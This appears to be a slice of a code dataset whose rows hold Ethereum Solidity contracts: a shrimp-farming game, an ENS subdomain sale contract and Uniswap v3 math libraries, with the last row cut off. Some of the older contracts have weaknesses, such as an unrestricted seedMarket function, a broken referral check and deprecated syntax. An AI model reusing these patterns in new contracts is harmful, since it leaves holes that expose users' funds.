source_code
stringlengths 52
864k
| success
stringclasses 1
value | input_ids
sequence | attention_mask
sequence |
|---|---|---|---|
pragma solidity ^0.4.18; // solhint-disable-line
contract HarjFarmer{
//uint256 EGGS_PER_SHRIMP_PER_SECOND=1;
uint256 public EGGS_TO_HATCH_1SHRIMP=86400;//for final version should be seconds in a day
uint256 public STARTING_SHRIMP=300;
uint256 PSN=10000;
uint256 PSNH=5000;
bool public initialized=false;
address public ceoAddress;
mapping (address => uint256) public hatcheryShrimp;
mapping (address => uint256) public claimedEggs;
mapping (address => uint256) public lastHatch;
mapping (address => address) public referrals;
uint256 public marketEggs;
function HarjFarmer() public{
ceoAddress=msg.sender;
}
function hatchEggs(address ref) public{
require(initialized);
if(referrals[msg.sender]==0 && referrals[msg.sender]!=msg.sender){
referrals[msg.sender]=ref;
}
uint256 eggsUsed=getMyEggs();
uint256 newShrimp=SafeMath.div(eggsUsed,EGGS_TO_HATCH_1SHRIMP);
hatcheryShrimp[msg.sender]=SafeMath.add(hatcheryShrimp[msg.sender],newShrimp);
claimedEggs[msg.sender]=0;
lastHatch[msg.sender]=now;
//send referral eggs
claimedEggs[referrals[msg.sender]]=SafeMath.add(claimedEggs[referrals[msg.sender]],SafeMath.div(eggsUsed,5));
//boost market to nerf shrimp hoarding
marketEggs=SafeMath.add(marketEggs,SafeMath.div(eggsUsed,10));
}
function sellEggs() public{
require(initialized);
uint256 hasEggs=getMyEggs();
uint256 eggValue=calculateEggSell(hasEggs);
uint256 fee=devFee(eggValue);
claimedEggs[msg.sender]=0;
lastHatch[msg.sender]=now;
marketEggs=SafeMath.add(marketEggs,hasEggs);
ceoAddress.transfer(fee);
msg.sender.transfer(SafeMath.sub(eggValue,fee));
}
function buyEggs() public payable{
require(initialized);
uint256 eggsBought=calculateEggBuy(msg.value,SafeMath.sub(this.balance,msg.value));
eggsBought=SafeMath.sub(eggsBought,devFee(eggsBought));
ceoAddress.transfer(devFee(msg.value));
claimedEggs[msg.sender]=SafeMath.add(claimedEggs[msg.sender],eggsBought);
}
//magic trade balancing algorithm
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){
//(PSN*bs)/(PSNH+((PSN*rs+PSNH*rt)/rt));
return SafeMath.div(SafeMath.mul(PSN,bs),SafeMath.add(PSNH,SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt)));
}
function calculateEggSell(uint256 eggs) public view returns(uint256){
return calculateTrade(eggs,marketEggs,this.balance);
}
function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){
return calculateTrade(eth,contractBalance,marketEggs);
}
function calculateEggBuySimple(uint256 eth) public view returns(uint256){
return calculateEggBuy(eth,this.balance);
}
function devFee(uint256 amount) public view returns(uint256){
return SafeMath.div(SafeMath.mul(amount,4),100);
}
function seedMarket(uint256 eggs) public payable{
require(marketEggs==0);
initialized=true;
marketEggs=eggs;
}
function getFreeShrimp() public{
require(initialized);
require(hatcheryShrimp[msg.sender]==0);
lastHatch[msg.sender]=now;
hatcheryShrimp[msg.sender]=STARTING_SHRIMP;
}
function getBalance() public view returns(uint256){
return this.balance;
}
function getMyShrimp() public view returns(uint256){
return hatcheryShrimp[msg.sender];
}
function getMyEggs() public view returns(uint256){
return SafeMath.add(claimedEggs[msg.sender],getEggsSinceLastHatch(msg.sender));
}
function getEggsSinceLastHatch(address adr) public view returns(uint256){
uint256 secondsPassed=min(EGGS_TO_HATCH_1SHRIMP,SafeMath.sub(now,lastHatch[adr]));
return SafeMath.mul(secondsPassed,hatcheryShrimp[adr]);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | True | [
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pragma solidity ^0.4.13;
contract AbstractENS{
function owner(bytes32 node) constant returns(address);
function setOwner(bytes32 node, address owner);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner);
}
contract Registrar {
function transfer(bytes32 _hash, address newOwner);
function entries(bytes32 _hash) constant returns (uint, Deed, uint, uint, uint);
}
contract Deed {
address public owner;
address public previousOwner;
}
contract subdomainSale{
AbstractENS ens = AbstractENS(0x314159265dD8dbb310642f98f50C066173C1259b);
Registrar registrar = Registrar(0x6090A6e47849629b7245Dfa1Ca21D94cd15878Ef);
address admin = 0x8301Fb8945760Fa2B3C669e8F420B8795Dc03766;
struct Domain{
address originalOwner;
uint commitPeriod;
uint regPeriod;
bool subSale;
uint subPrice;
uint subExpiry;
}
mapping(bytes32=>Domain) records;
modifier deed_check(bytes32 label){
Deed deed;
(,deed,,,) = registrar.entries(label);
if(deed.owner() != address(this)) throw;
_;
}
modifier prevOwn_check(bytes32 label){
Deed deed;
(,deed,,,) = registrar.entries(label);
if(deed.previousOwner() != msg.sender) throw;
_;
}
modifier ens_check(bytes32 node){
if(ens.owner(node) != address(this)) throw;
_;
}
modifier recorded_owner(bytes32 node){
if (records[node].originalOwner != msg.sender) throw;
_;
}
function subdomainSale() {}
function listSubName(bytes32 label,bytes32 node,uint commit, uint price,uint expiry) prevOwn_check(label) deed_check(label) ens_check(node){
require(records[node].subSale == false);
records[node].originalOwner=msg.sender;
records[node].subSale=true;
records[node].subPrice=price;
records[node].subExpiry=expiry;
records[node].commitPeriod=now + commit + 86400;
}
function unlistSubName(bytes32 label,bytes32 node) recorded_owner(node) ens_check(node) deed_check(label){
require(records[node].subSale == true);
require(records[node].commitPeriod <= now);
ens.setOwner(node,records[node].originalOwner);
registrar.transfer(label,records[node].originalOwner);
records[node].originalOwner=address(0x0);
records[node].subSale=false;
records[node].subPrice = 0;
records[node].subExpiry = 0;
records[node].commitPeriod=0;
}
function nodeCheck(bytes32 node) returns(address){
return ens.owner(node);
}
function subRegistrationPeriod(bytes32 node) returns(uint){
return records[node].subExpiry;
}
function checkSubAvailability(bytes32 node) returns(bool){
return records[node].subSale;
}
function checkSubPrice(bytes32 node) returns(uint){
return records[node].subPrice;
}
function checkCommitPeriod(bytes32 node) returns(uint){
return records[node].commitPeriod;
}
function checkRegPeriod(bytes32 node) returns(uint){
return records[node].regPeriod;
}
function subBuy(bytes32 ensName,bytes32 subNode,address newOwner) payable ens_check(ensName) {
require( (records[ensName].subExpiry + now + 5) < records[ensName].commitPeriod );
require(records[ensName].subSale == true);
require(msg.value >= records[ensName].subPrice);
var newNode = sha3(ensName,subNode);
require(records[newNode].regPeriod < now);
uint fee = msg.value/20;
uint netPrice = msg.value - fee;
admin.transfer(fee);
records[ensName].originalOwner.transfer(netPrice);
records[newNode].regPeriod = now + records[ensName].subExpiry;
records[newNode].subSale = false;
records[newNode].subPrice = 0;
records[newNode].subExpiry = 0;
records[newNode].commitPeriod=0;
ens.setSubnodeOwner(ensName,subNode,newOwner);
}
function() payable{
admin.transfer(msg.value);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-01-15
*/
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.7.6;
// File: contracts/external/Strings.sol
// OpenZeppelin Contracts v4.3.2 (utils/Strings.sol)
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @uniswap/v3-core/contracts/libraries/FullMath.sol
/// @title Contains 512-bit math functions
/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {
/// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv
function mulDiv(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
// 512-bit multiply [prod1 prod0] = a * b
// Compute the product mod 2**256 and mod 2**256 - 1
// then use the Chinese Remainder Theorem to reconstruct
// the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2**256 + prod0
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division
if (prod1 == 0) {
require(denominator > 0);
assembly {
result := div(prod0, denominator)
}
return result;
}
// Make sure the result is less than 2**256.
// Also prevents denominator == 0
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0]
// Compute remainder using mulmod
uint256 remainder;
assembly {
remainder := mulmod(a, b, denominator)
}
// Subtract 256 bit number from 512 bit number
assembly {
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator
// Compute largest power of two divisor of denominator.
// Always >= 1.
uint256 twos = -denominator & denominator;
// Divide denominator by power of two
assembly {
denominator := div(denominator, twos)
}
// Divide [prod1 prod0] by the factors of two
assembly {
prod0 := div(prod0, twos)
}
// Shift in bits from prod1 into prod0. For this we need
// to flip `twos` such that it is 2**256 / twos.
// If twos is zero, then it becomes one
assembly {
twos := add(div(sub(0, twos), twos), 1)
}
prod0 |= prod1 * twos;
// Invert denominator mod 2**256
// Now that denominator is an odd number, it has an inverse
// modulo 2**256 such that denominator * inv = 1 mod 2**256.
// Compute the inverse by starting with a seed that is correct
// correct for four bits. That is, denominator * inv = 1 mod 2**4
uint256 inv = (3 * denominator) ^ 2;
// Now use Newton-Raphson iteration to improve the precision.
// Thanks to Hensel's lifting lemma, this also works in modular
// arithmetic, doubling the correct bits in each step.
inv *= 2 - denominator * inv; // inverse mod 2**8
inv *= 2 - denominator * inv; // inverse mod 2**16
inv *= 2 - denominator * inv; // inverse mod 2**32
inv *= 2 - denominator * inv; // inverse mod 2**64
inv *= 2 - denominator * inv; // inverse mod 2**128
inv *= 2 - denominator * inv; // inverse mod 2**256
// Because the division is now exact we can divide by multiplying
// with the modular inverse of denominator. This will give us the
// correct result modulo 2**256. Since the precoditions guarantee
// that the outcome is less than 2**256, this is the final result.
// We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inv;
return result;
}
/// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
function mulDivRoundingUp(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
result = mulDiv(a, b, denominator);
if (mulmod(a, b, denominator) > 0) {
require(result < type(uint256).max);
result++;
}
}
}
// File: @uniswap/v3-core/contracts/libraries/TickMath.sol
/// @title Math library for computing sqrt prices from ticks and vice versa
/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports
/// prices between 2**-128 and 2**128
library TickMath {
/// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128
int24 internal constant MIN_TICK = -887272;
/// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128
int24 internal constant MAX_TICK = -MIN_TICK;
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
/// @notice Calculates sqrt(1.0001^tick) * 2^96
/// @dev Throws if |tick| > max tick
/// @param tick The input tick for the above formula
/// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)
/// at the given tick
function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
require(absTick <= uint256(MAX_TICK), 'T');
uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
if (tick > 0) ratio = type(uint256).max / ratio;
// this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
// we then downcast because we know the result always fits within 160 bits due to our tick input constraint
// we round up in the division so getTickAtSqrtRatio of the output price is always consistent
sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
/// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may
/// ever return.
/// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
/// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {
// second inequality must be < because the price can never reach the price at the max tick
require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');
uint256 ratio = uint256(sqrtPriceX96) << 32;
uint256 r = ratio;
uint256 msb = 0;
assembly {
let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(5, gt(r, 0xFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(4, gt(r, 0xFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(3, gt(r, 0xFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(2, gt(r, 0xF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(1, gt(r, 0x3))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := gt(r, 0x1)
msb := or(msb, f)
}
if (msb >= 128) r = ratio >> (msb - 127);
else r = ratio << (127 - msb);
int256 log_2 = (int256(msb) - 128) << 64;
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(63, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(62, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(61, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(60, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(59, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(58, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(57, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(56, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(55, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(54, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(53, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(52, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(51, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(50, f))
}
int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;
}
}
// File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolImmutables.sol
/// @title Pool state that never changes
/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values
interface IUniswapV3PoolImmutables {
/// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface
/// @return The contract address
function factory() external view returns (address);
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (address);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (address);
/// @notice The pool's fee in hundredths of a bip, i.e. 1e-6
/// @return The fee
function fee() external view returns (uint24);
/// @notice The pool tick spacing
/// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive
/// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...
/// This value is an int24 to avoid casting even though it is always positive.
/// @return The tick spacing
function tickSpacing() external view returns (int24);
/// @notice The maximum amount of position liquidity that can use any tick in the range
/// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and
/// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool
/// @return The max amount of liquidity per tick
function maxLiquidityPerTick() external view returns (uint128);
}
// File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolState.sol
/// @title Pool state that can change
/// @notice These methods compose the pool's state, and can change with any frequency including multiple times
/// per transaction
interface IUniswapV3PoolState {
/// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas
/// when accessed externally.
/// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value
/// tick The current tick of the pool, i.e. according to the last tick transition that was run.
/// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick
/// boundary.
/// observationIndex The index of the last oracle observation that was written,
/// observationCardinality The current maximum number of observations stored in the pool,
/// observationCardinalityNext The next maximum number of observations, to be updated when the observation.
/// feeProtocol The protocol fee for both tokens of the pool.
/// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0
/// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.
/// unlocked Whether the pool is currently locked to reentrancy
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
/// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal0X128() external view returns (uint256);
/// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal1X128() external view returns (uint256);
/// @notice The amounts of token0 and token1 that are owed to the protocol
/// @dev Protocol fees will never exceed uint128 max in either token
function protocolFees() external view returns (uint128 token0, uint128 token1);
/// @notice The currently in range liquidity available to the pool
/// @dev This value has no relationship to the total liquidity across all ticks
function liquidity() external view returns (uint128);
/// @notice Look up information about a specific tick in the pool
/// @param tick The tick to look up
/// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or
/// tick upper,
/// liquidityNet how much liquidity changes when the pool price crosses the tick,
/// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,
/// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,
/// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick
/// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,
/// secondsOutside the seconds spent on the other side of the tick from the current tick,
/// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.
/// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.
/// In addition, these values are only relative and must be used only in comparison to previous snapshots for
/// a specific position.
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside0X128,
uint256 feeGrowthOutside1X128,
int56 tickCumulativeOutside,
uint160 secondsPerLiquidityOutsideX128,
uint32 secondsOutside,
bool initialized
);
/// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information
function tickBitmap(int16 wordPosition) external view returns (uint256);
/// @notice Returns the information about a position by the position's key
/// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper
/// @return _liquidity The amount of liquidity in the position,
/// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,
/// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,
/// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,
/// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke
function positions(bytes32 key)
external
view
returns (
uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
/// @notice Returns data about a specific observation index
/// @param index The element of the observations array to fetch
/// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time
/// ago, rather than at a specific index in the array.
/// @return blockTimestamp The timestamp of the observation,
/// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,
/// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,
/// Returns initialized whether the observation has been initialized and the values are safe to use
function observations(uint256 index)
external
view
returns (
uint32 blockTimestamp,
int56 tickCumulative,
uint160 secondsPerLiquidityCumulativeX128,
bool initialized
);
}
// File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolDerivedState.sol
/// @title Pool state that is not stored
/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the
/// blockchain. The functions here may have variable gas costs.
interface IUniswapV3PoolDerivedState {
/// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp
/// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing
/// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,
/// you must call it with secondsAgos = [3600, 0].
/// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in
/// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.
/// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned
/// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp
/// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block
/// timestamp
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
/// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range
/// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.
/// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first
/// snapshot is taken and the second snapshot is taken.
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
/// @return tickCumulativeInside The snapshot of the tick accumulator for the range
/// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range
/// @return secondsInside The snapshot of seconds per liquidity for the range
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
);
}
// File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolActions.sol
/// @title Permissionless pool actions
/// @notice Contains pool methods that can be called by anyone
interface IUniswapV3PoolActions {
/// @notice Sets the initial price for the pool
/// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value
/// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96
function initialize(uint160 sqrtPriceX96) external;
/// @notice Adds liquidity for the given recipient/tickLower/tickUpper position
/// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback
/// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends
/// on tickLower, tickUpper, the amount of liquidity, and the current price.
/// @param recipient The address for which the liquidity will be created
/// @param tickLower The lower tick of the position in which to add liquidity
/// @param tickUpper The upper tick of the position in which to add liquidity
/// @param amount The amount of liquidity to mint
/// @param data Any data that should be passed through to the callback
/// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback
/// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
/// @notice Collects tokens owed to a position
/// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.
/// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or
/// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the
/// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.
/// @param recipient The address which should receive the fees collected
/// @param tickLower The lower tick of the position for which to collect fees
/// @param tickUpper The upper tick of the position for which to collect fees
/// @param amount0Requested How much token0 should be withdrawn from the fees owed
/// @param amount1Requested How much token1 should be withdrawn from the fees owed
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
/// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position
